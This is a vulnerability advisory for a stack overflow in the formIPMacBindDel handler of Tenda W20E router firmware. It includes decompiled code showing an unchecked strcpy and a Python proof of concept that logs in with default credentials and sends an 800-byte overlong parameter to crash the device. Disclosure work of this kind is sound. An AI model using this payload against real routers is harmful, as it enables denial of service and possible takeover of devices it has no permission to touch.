CPSeek Create formIPMacBindDel.md History

1 contributor

75 lines (52 sloc) | 1.61 KB

* Tenda W20E stack vulnerability

* Version

V15.11.0.6 (US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC)

* Firmware

https://www.tenda.com.cn/download/detail-2707.html

* Vulnerability Detail

In function formIPMacBindDel, the content obtained by the program from the parameter "IPMacBindIndex" is passed to __src, and then the __src is directly copied into the indexs stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void formIPMacBindDel(webs_t wp,char *path,char *query)

{
  char *__src;
  char msg [512];
  char out [64];
```

```
  char indexs [128];
  int i;
  int n;
  char *indexSet;

  memset(indexs,0,0x80);
  out._0_4_ = 0x31;
  memset(out + 4,0,0x3c);
  msg._0_4_ = 0;
  memset(msg + 4,0,0x1fc);
  __src = websGetVar(wp,"IPMacBindIndex","0");
  strcpy(indexs,__src); //here is overflow
  delete_rules_in_list("security.ipbind.list",indexs,"\t");
  sprintf(msg,"op=%d",5);
  send_msg_to_netctrl(0xb,msg);
  CommitCfm();
  outputToWebs(wp,out);
  return;
}
```

* POC

```
import requests

cmd  = b'IPMacBindIndex=' + b'A' * 800

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/delIpMacBind/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```